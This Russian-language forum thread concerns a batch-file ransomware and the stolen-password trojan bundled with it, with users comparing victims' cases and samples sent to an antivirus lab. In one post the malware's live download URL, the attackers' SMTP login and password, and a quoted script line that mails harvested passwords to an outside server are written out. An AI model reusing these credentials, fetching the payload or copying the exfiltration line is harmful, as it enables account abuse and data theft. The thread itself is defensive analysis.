841 ответов в этой теме

[v.martyanov]

Да, пора поделиться. Будет от виновника торжества рассказ о том как все не работает или как файлы умерли окончательно, если они не слушают специалистов.

[evil@list.ru]

Да, пора поделиться. Будет от виновника торжества рассказ о том как все не работает или как файлы умерли окончательно, если они не слушают специалистов.

гм. если мне выставлен счет в килодоллар за расшифровку файлов, и у людей есть ключ для A3CE7DBE, к примеру - чем плоха моя попытка?

[VVS]

Да, пора поделиться. Будет от виновника торжества рассказ о том как все не работает или как файлы умерли окончательно, если они не слушают специалистов.

Володя, а может имеет смысл, чтобы парочка "не читателей" окончательно угробила свои файлы?

Главное, чтобы потом об этом факте сюда отписались - будет место куда остальных подобных носом тыкать.

[usverg]

 

 

Dr.Web этого зверя определяет?

Батник определился как Bat.Encoder.23, а архив со скриптом, который его загружает - не определился.

 

А вот его можно и мне в личку тогда, раз нет детекта ;-) Лучше, конечно, в вирлаб и мне номер тикета в личку, но и так сойдет.

 

Я его ещё в понедельник засылал - 0 реакции.

[maxic]

usverg, номер тикета напишите. Он-то пришел?

[v.martyanov]

 

Да, пора поделиться. Будет от виновника торжества рассказ о том как все не работает или как файлы умерли окончательно, если они не слушают специалистов.

гм. если мне выставлен счет в килодоллар за расшифровку файлов, и у людей есть ключ для A3CE7DBE, к примеру - чем плоха моя попытка?

 

У людей НЕТ ключа для A3CE7DBE.

[usverg]

usverg, номер тикета напишите. Он-то пришел?

Пожалуйста: #4893089

Свои результаты я почти полностью привёл ранее.

Сообщение было изменено usverg: 13 Август 2014 - 12:34

[usverg]

И ещё вопрос - существует ли возможность заблокировать хотя бы их smtp сервер, чтобы хоть пароли не утекали? Это уже из принципа.

[v.martyanov]

И ещё вопрос - существует ли возможность заблокировать хотя бы их smtp сервер, чтобы хоть пароли не утекали? Это уже из принципа.

В принципе, можете этим заняться.

 

usverg, номер тикета напишите. Он-то пришел?

Пожалуйста: #4893089

Свои результаты я почти полностью привёл ранее.

 

Говорим спасибо нестандартному паролю.

[usverg]

 

И ещё вопрос - существует ли возможность заблокировать хотя бы их smtp сервер, чтобы хоть пароли не утекали? Это уже из принципа.

В принципе, можете этим заняться.

 

Я бы рад, только как? Я и так у них три ящика закрыл.

 

 

usverg, номер тикета напишите. Он-то пришел?

Пожалуйста: #4893089

Свои результаты я почти полностью привёл ранее.

 

Говорим спасибо нестандартному паролю.

 

Таки я в тексте указал 123456

[maxic]

usverg, роботы разбирают тикеты прежде всего. Скорее всего, ваш тикет фтопку ушел, поскольку со стандартным паролем virus робот не смог его распаковать.

[v.martyanov]

Таки пароль нестандартный, роботы не могут индексировать и работать с файлами и так далее. Другой вопрос почему я не увидел тикета, но это теперь сложно понять.

[usverg]

usverg, роботы разбирают тикеты прежде всего. Скорее всего, ваш тикет фтопку ушел, поскольку со стандартным паролем virus робот не смог его распаковать.

Понял: "рекомендуемый пароль" = "обязательно такой"

[v.martyanov]

 

usverg, роботы разбирают тикеты прежде всего. Скорее всего, ваш тикет фтопку ушел, поскольку со стандартным паролем virus робот не смог его распаковать.

Понял: "рекомендуемый пароль" = "обязательно такой"

 

Можно и не его, но будет как в этот раз наверняка :-)

[usverg]

Данные их почтового (smtp) сервера (вдруг при годится):

адрес   - lima.rivalserver.com

порт     - 26

логин   - epwd@collapseit.com

пароль - T3sfw2zTXtHI04q

[SergM]

Данные их почтового (smtp) сервера (вдруг при годится)

Ух ты...Круть! это как раздобыли -т о?

[usverg]

 

Данные их почтового (smtp) сервера (вдруг при годится)

Ух ты...Круть! это как раздобыли -т о?

 

Внимательно прочитал cmd-файл. Кстати, линк на него до сих пор жив (и присутствует в загрузчике): http://earthlingsfilm.com/images/doc.btc

 

wget http://earthlingsfilm.com/images/doc.btc
cat doc.btc | grep -e lomail -e line4 -e valibmail

 

Результат:

set line4=T3sfw2zTXtHI04q

set lomail=collapseit.com

set valibmail=epwd@%lomail%

if exist ttl.pwd (spoolsv.exe -server lima.rivalserver.com -port 26 -f %valibmail% -u %valibmail% -pw %line4% -priority 1 -sensitivity 2 -noh -noh2 -ss -to %recamail% -attach ttl.pwd -subject "Autoreplicant %RANDOM%" -body "%USERNAME%-%COMPUTERNAME%")

 

Где spoolsv.exe это переименованный blat.exe (консольный почтовый клиент, http://www.blat.net/), а ttl.pwd - собранные Trojan.PWS.Stealer.13033 пароли, пересылаемые в виде вложения.

[SergM]

Ну в принципе Вы проделали работу вирусных аналитиков.   Браво!

[skip]

В моём варианте другой почтовый сервер и порт. А пароль совпал.

[janhacek]

Добрый день

компьютер моей знакомой тоже стал жертвой.

Но процесс шифрования был прерван, поэтому полагаю, что возможно этот злодей не успел все за собой подчистить.

Могут ли какие нибудь файлы (напр. из %TEMP%) помочь в решении этого вопроса?